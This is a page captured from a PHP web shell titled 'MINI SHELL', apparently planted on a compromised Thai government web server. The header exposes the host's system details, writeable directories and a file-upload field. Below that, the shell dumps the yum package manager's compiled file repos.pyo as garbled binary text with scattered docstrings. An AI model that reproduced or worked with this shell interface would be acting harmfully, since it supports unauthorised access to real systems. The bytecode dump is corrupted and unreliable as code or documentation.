MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/proc/self/root/usr/lib/python2.4/site-packages/yum/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/proc/self/root/usr/lib/python2.4/site-packages/yum/repos.pyo
m
ODc@sdkZdkZdkZdkZdkZdkZdkZdkZdkl	Z	dk
ZdklZdk
lZdk
lZdk
lZdklZdkZdkZeidiZdeifd	YZd
fdYZdfd
YZedZdS(N(s
URLGrabber(sURLGrabError(srepoMDObject(smdErrors(spackageSack(sYumAvailablePackages[*?[]tYumPackageSackcBs#tZdZdZedZRS(s;imports/handles package objects from an mdcache dict objectcCs&tii|||_h|_dS(N(tpackageSacktPackageSackt__init__tselftpackageClasstpctadded(RR((t-/usr/lib/python2.4/site-packages/yum/repos.pyR(s	c
Cs3|ii|o ||i|jodSq3nt|i}	|djod}x|iD]z}|d7}|o|i||	|n||}|i||}||id<|i|i|||i|qeW|ii|pg|i|<n|i|idd|_n|ddgjo|ii|o2d|i|jotid||fqnd}x|iD]w}|d7}|o|i||	|n||}|ii|o,x)|i|D]}|i||qWqqW|i|i|d|_ndS(Ntmetadataiitidt	filelistst	otherdatas$%s md for %s imported before primary(RRthas_keytrepoidtdatatypetlentdataobjtkeysttotaltcurrenttpkgidtcallbacktprogressbartpkgdictRtpotsimplet_addToDictAsListtpkgsByIDt
addPackagetappendtindexesBuilttErrorst	RepoErrortimportFromDict(
RRRRRRRRRR((RtaddDict-sJ








(t__name__t
__module__t__doc__RtNoneR#(((RR&s	tRepoStoragecBstZdZdZdZdZdZdZdZdZ	dZ
d	Zd
ZdZ
dZd
ZdZdZdZddeddZRS(sXThis class contains multiple repositories and core configuration data
       about them.cCsph|_d|_d|_ydk}dk}Wntj
ot|_	nXt
|_	||_|idS(Ni(RtreposR'Rtcachetsqlitecachet
sqlitesacktImportErrortFalsetsqlitetTruet_selectSackType(RR+R,((RR]s				
		cCsH|io+dk}dk}|i|i|_ntt|_dS(N(	RR/R+R,tYumSqlitePackageSacktYumAvailablePackageSqlitetpkgSackRtYumAvailablePackage(RR+R,((RR1ns

		cCst|iiS(N(tstrRR)R(R((Rt__str__wscCsA|ii|iotid|in||i|i<dS(Ns;Repository %s is listed more than once in the configuration(RR)R
trepoobjR
R R!(RR8((Rtadd{scCs%|ii|o|i|=ndS(N(RR)R
R(RR((RtdeletescCs|ii}|i|S(N(RR)tvaluestrepolisttsort(RR<((RR=s
cCs;y|i|SWn%tj
o}tid|nXdS(Ns:Error getting repository data for %s, repository not found(RR)RtKeyErrorteR R!(RRR?((RtgetReposcCsg}x||idD]k}|i}titi|i	}x;|iiD]*\}}||o|i|qSqSWqW|S(s0find all repositories matching fnmatch `pattern`t,N(tresulttpatterntsplittitemtstriptretcompiletfnmatcht	translatetmatchRR)titemstnametrepoR(RRCRMRERNRBRK((Rt	findReposs
cCsg}t|p|iddjo8x^|i|D] }|i|i|i	q9Wn*|i
|}|i|i|i	|S(sdisable a repository from use
        
        fnmatch wildcards may be used to disable a group of repositories.
        returns repoid of disabled repos as list
        RAiN(R)t_is_fnmatch_patternRtfindRRORNRR
tdisableR@tthisrepo(RRRSRNR)((RtdisableRepos#
cCsg}t|p|iddjo8x^|i|D] }|i|i|i	q9Wn*|i
|}|i|i|i	|S(senable a repository for use
        
        fnmatch wildcards may be used to enable a group of repositories.
        returns repoid of enables repos as list
        RAiN(R)RPRRQRRORNRR
tenableR@RS(RRRSRNR)((Rt
enableRepos#
cCs?g}x2|iiD]!}|io|i|qqW|S(s#return list of enabled repo objectsN(t
returnlistRR)R;RNtenabledR(RRNRW((RtlistEnableds
cCs<g}x/|iD]!}|io|i|qqW|S(s6return a list of repo objects that have groups enabledN(RWRRYRNtenablegroupsR(RRNRW((RtlistGroupsEnableds

cCs0||_x |iiD]}||_qWdS(ssets cache value in all reposN(tcachevalRR*R)R;RN(RR\RN((RtsetCaches
	cCs'x |iiD]}||_qWdS(s$sets the cachedir value in all reposN(RR)R;RNtcachedirtbasecachedir(RR^RN((RtsetCacheDirscCs1x*|iiD]}||_|iqWdS(s7set's the progress bar for downloading files from reposN(RR)R;RNtobjRt	setupGrab(RRaRN((RtsetProgressBars
	cCs1x*|iiD]}||_|iqWdS(s(set's the failure callback for all reposN(RR)R;RNRatfailure_objRb(RRaRN((RtsetFailureCallbacks
	RXR	icCsH|p
|i}ng}
|djo|i}
n|djo|ii}
nt|ti	joRx|D]C}t|to|
i
|qt|i|}|
i
|qtWn7t|tijo |i|}|
i
|n|djodddg}
n
|g}
x#|
D]}t|dpZ|io.|iid|id|id	||_qtid|id	||_nx|
D]}|iii|io%||ii|ijoqqn|djod|i }|i"i#\}	}|ii&||}|p |ii)|i|||n~q|djod|i*}|i"i+\}	}|ii,||}|p |ii)|i|||n~q|djod|i-}|i"i.\}	}|ii/||}|p |ii)|i|||n~qqqW|`q%Wd
S(sThis populates the package sack from the repositories, two optional 
           arguments: which='repoid, enabled, all'
                      with='metadata, filelists, otherdata, all'RXtallR	RRtcacheHandlertstoredirRRN(0RRtmyrepostwhichRYR)R;ttypettypestListTypeRNt
isinstancet
RepositoryRR@trepobjt
StringTypetwithtdatathasattrR/R+tRepodataParserSqliteR^R
RgtmdcachetRepodataParserRER4RR
t
getPrimaryXMLtxmltrepoXMLtprimaryChecksumtctypetcsumt
getPrimarytdobjt
pickleonlyR#tgetFileListsXMLtfilelistsChecksumtgetFileliststgetOtherXMLt
otherChecksumtgetOtherdata(RRjRrRRRyRRpRER|RsRNR}Ri((RtpopulateSackst



	
	
 
 
 (R$R%R&RR1R7R9R:R=R@RORTRVRYR[R]R`RcReR'R(((RR(Ys$									
										RocBs5tZdZdZdZdZdddZdZdZd	Z	d
Z
dZdZd
Z
dZdZdZdZeeeeedeeded
ZdZdZedZdZdZeeZdZdZdZdZdZ dZ!RS( s#this is an actual repository objectcCs$||_||_g|_d|_d|_d|_d|_g|_	d|_
d|_d|_
d|_d|_d|_d|_g|_h|_d|_d|_d|_h|_d|_t|_d|_d|_d|_d|_hdd<dd<dd<d	d<|_dS(
Nis
yumgroups.xmlsrepodata/repomd.xmltcachecookiettprimaryRtothertgroups( RRR
RMturlstgpgcheckRXRZtgroupsfilenametsetkeyst
repoMDFileR'RzR*RRdt
mirrorlisttmirrorlistparsedtbaseurltyumvartproxy_passwordtproxy_usernametproxyt_proxy_dicttmetadata_cookie_fnR.tgroups_addedR_R^tpkgdirthdrdirt	retrieved(RR((RRBs8																											cCs>|i|ijodSn |i|ijodSndSdS(Niii(RR
R(RR((Rt__cmp__gs
cCs|iS(N(RR
(R((RR7osiic	Cs&yt|tij	o
|}nt|d|}|djodk}|i	}n7|djodk}|i	}nti
d||i}x(|o |i|}|i|qWt|tijo|i~n|iSWn(tttfj
oti
dnXdS(stakes filename, hand back Checksum of it
           sumtype = md5 or sha
           filename = /path/to/file
           CHUNK=65536 by defaulttrtmd5NtshasXError Checksumming file, wrong                                          checksum type %ssError opening file for checksum(RktfileRlRqtfotopentCHUNKtsumtypeRtnewtsumRR R!treadtchunktupdatetcloset	hexdigesttEnvironmentErrortIOErrortOSError(	RRRRRRRRR((Rt	_checksumrs.

	
		
cCsd|i}dddddddd	d
ddd
dddddddg}|ix+|D]#}|d|t||f}q]W|d}x|iD]}|d|}qW|S(Ns[%s]
RMt	bandwidthRXRZRtincludepkgst	keepaliveRRRtexcludetretriestthrottlettimeoutRR^tgpgkeyRRs%s = %s
s	baseurl =s %s
(	RR
toutputtvarsR=tattrtgetattrRturl(RRRRR((Rtdumps
?
!

cCs|i|idddS(NRXi(RtbaseurlSetuptset(R((RRUs
cCs|idddS(NRXi(RR(R((RRRscCs1t|idjotid|indS(shself-check the repo information  - if we don't have enough to move
           on then raise a repo erroris(Cannot find a valid baseurl for repo: %sN(RRRR R!R
(R((RtcheckscCs$|ii|t|||dS(s+sets a generic attribute of this repositoryN(RRRtkeytsetattrtvalue(RRR((RRscCs!|ii|t||dS(s&delete an attribute of this repositoryN(RRtremoveRtdelattr(RR((RtunsetscCs|iS(N(RR(R((RtlistSetKeysscCs&|iodSnh|_d}|iddgjod|i}|idj	oti|idd}|d}|d}|dd|d}d	||i||f}|idj	o#d
||i|i||f}qqn|dj	o+||id<||id<||id
<ndS(Nt_none_s%stallow_fragmentsiiit?is%s://%s@%s%ss%s://%s:%s@%s%sthttpthttpstftp(
RRR'tproxy_stringRRturlparseturlsplittproxy_parsedtproxy_protot
proxy_hostt
proxy_restR(RRRRRR((RtdoProxyDicts$
	


+


cCs|idjotii}n
tii}td|id|i	d|i
d|id|id|i
d|id	|id
d	|_||i|i|_dS(
s_sets up the grabber functions with the already stocked in urls for
           the mirror groupst
roundrobinRRtretryRtprogress_objtproxiestfailure_callbackRtregetRN(Rtfailovermethodt
urlgrabbertmirrort
MGRandomOrdertmgclasstMirrorGroupt
URLGrabberRRRRRt
proxy_dictRdRtgrabfuncRtgrab(RR((RRbs							cCsmtii|i|i}tii|d}tii|d}|i	d||i	d||i	d||id|i
}|i	d|x|i|i|igD]}|i
djovtii|otii|oqqeyti|d	d
Wqetj
o}tid||fqeXqtii|ptid|qqWd
S(s6make the necessary dirs, if possible, raise on failuretpackagestheadersR^RRt/tmetadata_cookieitmodeis.Error making cache directory: %s error was: %ssCannot access repository dir %sN(tostpathtjoinRR_R
R^RRRRtcookietdirR*texiststisdirtmakedirsRR?R R!(RR?RR^RRR((RtdirSetups(&c
Csg}|ioc|ioXt|i|i}	d|_x7|	D]+}ti	||i
}|ii|q@Wnx}|iD]r}ti	||i
}t
i
|\}}}}}}|ddddgjod|GHq}q}|i|q}W|id||i|idS(	sgo through the baseurls and mirrorlists and populate self.urls 
           with valid ones, run  self.check() at the end to make sure it workediRRRRs8not using ftp, http[s], or file for repos, skipping - %sRN(tgoodurlsRRRt
getMirrorListRt
mirrorurlsRtparsert
varReplaceRRRRtstbtptqtftoRRRb(
RRRRRRRRRR((RRs(	
!	
iRcCs|
o
d}nd}|djp
|djotid|in|i	o(|i	\}}}|||f|_	n|idjo5t
ii|o|Sqtid||fn|dj	otd|id|id|id	|id
|id|d|	d
|id|i	d|id|d|}|d|}y(|i||d|d||f}Wqt#j
o%}
tid||i|
fqXnxyC|i%i||d|d||fd|d|	d|d|}Wn1t#j
o%}
tid||i|
fnX|S(sretrieve file from the mirrorgroup for the repo
           relative to local, optionally get range from
           start to end, also optionally retrieve from a specific baseurltPragmasno-caches/get request for Repo %s, gave no source or destis0Caching enabled but no local cache of %s from %sRRRRtprogres_objt
copy_localRRRRt	checkfuncthttp_headersRttexttranges*failed to retrieve %s from %s
error was %ssfailure: %s from %s: %sN(Rsno-cache((Rsno-cache(&R*R'RtlocaltrelativeR R!RR
Rdtf_functf_argstf_kwargsRRRRRRRRRRRRRRRtugtremoteturlgrabRtstarttendRBtURLGrabErrorR?R(RRR
R	RRRRRRR*R
RR?RRRRRB((Rtget%sX


							%!cCs^t}tii|io>ti|i}|d|i	t
i
jo
t}qZn|S(sCheck if there is a metadata_cookie and check its age. If the 
        age of the cookie is less than metadata_expire time then return true
        else return FalseiN(R.tvalRRRRRtstattcookie_infotmetadata_expirettimeR0(RRR((RtmetadataCurrentqscCsi|i}tii|ip
|i}nti|tio#t	|id}|i~ndS(s/if possible, set touch the metadata_cookie filesw+N(RRRRRRR^taccesstW_OKRRR(RRR((RtsetMetadataCookies	

cCsT|i}|id}|idj	odSn|ip
|io1t	i
i|pti
d|q|}n|ifhf}yC|id|d|ddd|d	dd
|d|idj}Wn+tj
o}ti
d
||fnX|iyti|i||_Wn.tij
o}ti
d||fnXdS(s5retrieve/check/read in repomd.xml from the repositorys/repomd.xmlNs"Cannot find repomd.xml file for %sR
R	RiRRRR*RfsError downloading file %s: %ss&Error importing repomd.xml from %s: %s(RRRR^R	RzR'R*RRRRR R!RBt
_checkRepoXMLRRRthttp_cachingRR?RtrepoMDObjecttRepoMDR
tmdErrorstRepoMDError(RRRR	RRBR?((Rt
getRepoXMLs2	


cCszt|tijo
|i}n|}yti|i	|}Wn1tij
o"}tdd||fnXdS(Nis%Error importing repomd.xml for %s: %s(RkRRltInstanceTypetfilenametfilepathR R!RR
tfooR"R#R?R(RRR?R'R(((RRs
cCs#|i|io|iSndS(N(RRRR'(R((Rt__getProxyDicts

c
Cshd|ii<d|ii<d|ii<d|ii<}||}|\}}t|t
ijo
|i}n|}y|i||}	Wn'tij
o}tddnX|	|jodSntdd	d
S(s,check the metadata type against its checksumRRRtgroupisError performing checksumiis%Metadata file does not match checksumN(RRzR{RRt
groupChecksumtcsumDicttmdtypet
csumMethodtr_ctypetr_csumRktfnRlR%R&RRtl_csumR R!R?R(
RR1R-R,R.R/R0RR?R2((Rt_checkMDsB


c
Cshd|ii<d|ii<d|ii<d|ii<}||}|\}}tii
|}|id|}|ii|o|i|o|Sqn|idjoqtii|oDy|i||Wn%tj
o}	tid|q(X|Sq,tid||fntii|oAy|i||Wntj
o	}	qXd|i|<|SnyR|i|fhf}|id	|d
|ddd|d
dd|idj}Wn+tj
o}	tid||fnXd|i|<|SdS(sbase function to retrieve metadata files from the remote url
           returns the path to the local metadata file of a 'mdtype'
           mdtype can be 'primary', 'filelists', 'other' or 'group'.RRRR*Ris;Caching enabled and local cache: %s does not match checksums0Caching enabled but no local cache of %s from %sR
R	RRRR*Rfs6Could not retrieve %s matching remote checksum from %sN(RRztprimaryLocationtfilelistsLocationt
otherLocationt
groupLocationtlocDictR-t	locMethodtr_baseRRRtbasenametfnameR^R	RR
R*RR3RR?R R!RRR'R(
RR-R9RR:R	RR<R8R?((Rt_retrieveMDsBB


cCs
|idS(s^this gets you the path to the primary.xml file, retrieving it if we 
           need a new oneRN(RR=(R((RRxscCs
|idS(s`this gets you the path to the filelists.xml file, retrieving it if we 
           need a new oneRN(RR=(R((RR scCs
|idS(NR(RR=(R((RR&scCs3y|id}Wntj
o
d}nX|S(shgets groups and returns group file path for the repository, if there 
           is none it returns NoneR*N(RR=RRR'(RR((Rt	getGroups)s("R$R%R&RRR7RRRURRRRRRRRbRRR'R0RRRR$Rt_Repository__getProxyDicttpropertyRR3R=RxRRR>(((RRo?s:	%		#											'L		#				8			cCs9g}
ttido
ti}nt}ti|d}	|	djod|}n|}y|i
|d|}Wn!tii
j
o}d}nX|dj	o|i}x||D]p}tid|ptid|oqntidd|}tid	d
|\}}|
i|qWn|
S(sretrieve an up2date-style mirrorlist file from a url, 
       we also s/$ARCH/$BASEARCH/ and move along
       returns a list of the urls from that fileturlopeniRsfile://Rs^\s*\#.*s^\s*$s
$s\$ARCHs	$BASEARCHN(RWRtRtgrabberturlresolverturllibRRtschemeRRAtpdictRRR?R't	readlinestcontenttlineRGRKtsubRtsubntcountR(RRFRLRHR?RCRRRIRERWR((RR5s.


&(Rtos.pathRGRIRRlRR turlgrabber.grabberRturlgrabber.mirrorRRtrepomdR R"RRR5RvRRHtsearchRPRRR(RoR'R(RR RPRR5RoR(RRGRvRR"RRlR RRRRIRR((RRs,								
	




		3

Anon7 - 2021